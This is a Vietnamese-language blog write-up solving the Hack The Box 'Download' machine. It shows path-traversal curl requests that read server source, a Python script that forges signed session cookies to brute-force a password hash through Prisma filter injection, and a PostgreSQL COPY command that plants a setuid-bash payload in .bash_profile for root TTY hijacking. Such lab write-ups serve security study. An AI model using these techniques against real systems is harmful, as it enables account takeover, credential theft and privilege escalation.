Download

 

Enumeration

Zenmap:

Truy cập website.
Tạo một tài khoản và tiếp tục truy cập nó. Kiểm tra nó với burp tôi thấy Express.
Tôi biết rằng server được viết bằng nodejs. Tìm kiếm một số con đường khai thác nodejs. NodeJS Express
Ngoài ra tôi còn tìm thấy lỗ hổng LFI không hoàn toàn:
PS D:\thehackbox\Machines\Download> curl.exe "http://download.htb/files/download/..%2fapp.js"
"use strict";
var __importDefault = (this && this.__importDefault) || function (mod) {
    return (mod && mod.__esModule) ? mod : { "default": mod };
};
...
app.use((0, cookie_session_1.default)({
    name: "download_session",
    keys: ["*************************************************"],
    maxAge: 7 * 24 * 60 * 60 * 1000,
}));
...
PS D:\thehackbox\Machines\Download>
Tại đây tôi thấy key cho quá trình mã hóa token.
Thực hiện khai thác. Tạo download_session:
Kết quả nhận được:
Tôi thấy rằng mình có thể truy cập được vào người dùng khác. Nhưng với bất kỳ tên người dùng nào hệ thống cũng hiển thị cho tôi nếu tôi thay đổi.
Tiếp tục đọc source code thông qua LFI:
PS D:\thehackbox\Machines\Download> curl.exe "http://download.htb/files/download/..%2frouters%2fhome.js"
"use strict";
var __importDefault = (this && this.__importDefault) || function (mod) {
    return (mod && mod.__esModule) ? mod : { "default": mod };
};
Object.defineProperty(exports, "__esModule", { value: true });
const client_1 = require("@prisma/client");
const express_1 = __importDefault(require("express"));
const auth_1 = __importDefault(require("../middleware/auth"));
const client = new client_1.PrismaClient();
const router = express_1.default.Router();
router.get("/", auth_1.default, async (req, res) => {
    const files = await client.file.findMany({
        where: { author: req.session.user },
        select: {
            id: true,
            uploadedAt: true,
            size: true,
            name: true,
            private: true,
            authorId: true,
            author: {
                select: {
                    username: true,
                },
            },
        },
    });
    res.render("home.njk", { files });
});
exports.default = router;
PS D:\thehackbox\Machines\Download>
Trong đoạn mã trên toàn bộ key user trong session đều được đưa vào truy vấn.
PS D:\thehackbox\Machines\Download> curl.exe "http://download.htb/files/download/..%2fpackage.json"
{
  ...
  "keywords": [],
  "author": "******",
  "license": "ISC",
  "dependencies": {
    "@prisma/client": "^4.13.0",
    "cookie-parser": "^1.4.6",
    "cookie-session": "^2.0.0",
    "express": "^4.18.2",
    "express-fileupload": "^1.4.0",
    "zod": "^3.21.4"
  },
  ...
}
PS D:\thehackbox\Machines\Download>
Tại đây tôi thấy người tạo dịch vụ có thể đây là tên user, dịch vụ sử dụng PrismaClient để truy vấn sql. Tìm kiếm: Prisma Client Filtering And Sorting
Kết quả tôi nhận được:
Đã login được thành công.

Gaining access wesley

Từ đây tôi có một đoạn mã để lấy được password của user trên:
note: đoạn code trên không phải do tôi viết, tôi cũng lười dựng lại source code. Nên, cám ơn vì đã cung cấp.
import string, subprocess, json, re, requests

regex = r"download_session=([\w=\-_]+).*download_session\.sig=([\w=\-_]+)"


def writeJson(j):
    with open("cookie.json", "w") as f:
        f.write(json.dumps(j))

def generateCookieAndSign(startsWith):
    j = {"user":{"username":{"contains": "<USER>"}, "password":{"startsWith":startsWith}}}
    writeJson(j)
    out = subprocess.check_output(["<absolute path>/cookie-monster.js", "-e", "-f", "cookie.json", "-k", "*************************************************", "-n", "download_session"]).decode().replace("\n"," ")
    matches = re.findall(regex, out, re.MULTILINE)[0]
    return matches

passwd = ""
alphabet="abcdef"+string.digits
for i in range(32):
    #print(passwd)
    for s in alphabet:
        p = passwd + s
        (download_session, sig) = generateCookieAndSign(p)
        cookie = {"download_session": download_session, "download_session.sig": sig}
        #print(p, cookie)
        print(p, end='\r')
        r = requests.get('http://download.htb/home/', cookies=cookie)
        if len(r.text) != 2174:
            passwd = p
            break
print()
#print(passwd)
Chạy và tôi thu được password mã hóa:
Crack nó và tôi login ssh:
PS D:\thehackbox\Machines\Download> ssh wesley@download.htb
wesley@download.htb's password:
wesley@download:~$ id
uid=1000(wesley) gid=1000(wesley) groups=1000(wesley)
wesley@download:~$ ls
user.txt
wesley@download:~$

Privilege escalation

Kiểm tra các tiến trình với pspy tôi biết răng sau mỗi khoản thời gian tôi lại thấy:
User root lấy shell của người dùng postgres và thực hiện một quá trình nào đó.
Bên cạnh đó tôi cũng thấy được tiến trình:
Đọc dịch vụ download-site:
wesley@download:~$ cat /etc/systemd/system/download-site.service
[Unit]
Description=Download.HTB Web Application
After=network.target

[Service]
Type=simple
User=www-data
WorkingDirectory=/var/www/app/
ExecStart=/usr/bin/node app.js
Restart=on-failure
Environment=NODE_ENV=production
Environment=DATABASE_URL="postgresql://download:**************************@localhost:5432/download"

[Install]
WantedBy=multi-user.target
wesley@download:~$
Bây giờ tôi đã có password của postgresql, và tôi có thể làm bất kỳ điều gì trong postgresql. Tôi biết rằng với postgresql tôi có thể ghi đè bất kỳ file nào. Pentesting Postgresql
Biết rằng sau một khoảng thời gian user root lại login vào postgres. Từ đó tôi nghĩ tới viêc ngắt kết nối user postgres và thực thi lệnh ngay sau khi ngắt kết nối. su sudo from root tty hijacking
Thực hiện khai thác như sau:
Tạo mã khai thác:
Upload mã khai thác lên folder tmp, sau đó khai thác.
Tôi thực hiện ghi đè lên file .bash_profile, bởi vì sau khi root login nó sẽ tự động run file này tức là nó sẽ chạy mã khai thác của tôi.
Sau một thời gian chờ đợi, tôi nhận được kết quả.

Hoặc có thể sử dụng với mã khai thác trong bài viết sau: TTY pushback
Khi đó tôi sẽ khai thác như sau:
download=> COPY (SELECT CAST('python3 /tmp/exploit.py "chmod +s /bin/bash;"' AS text)) TO '/var/lib/postgresql/.bash_profile';

Cạn kiệt năng lượng, sau khi hoàn thành máy này, tôi tạm nghỉ một thời gian nhé.
Tôi đi nạp năng lượng bằng vài ly bia đây. bye!


Dryu8

Dryu8 is just a newbie in pentesting and loves to drink beer. I will be happy if you can donate me with a beer.

Post a Comment

Previous Post Next Post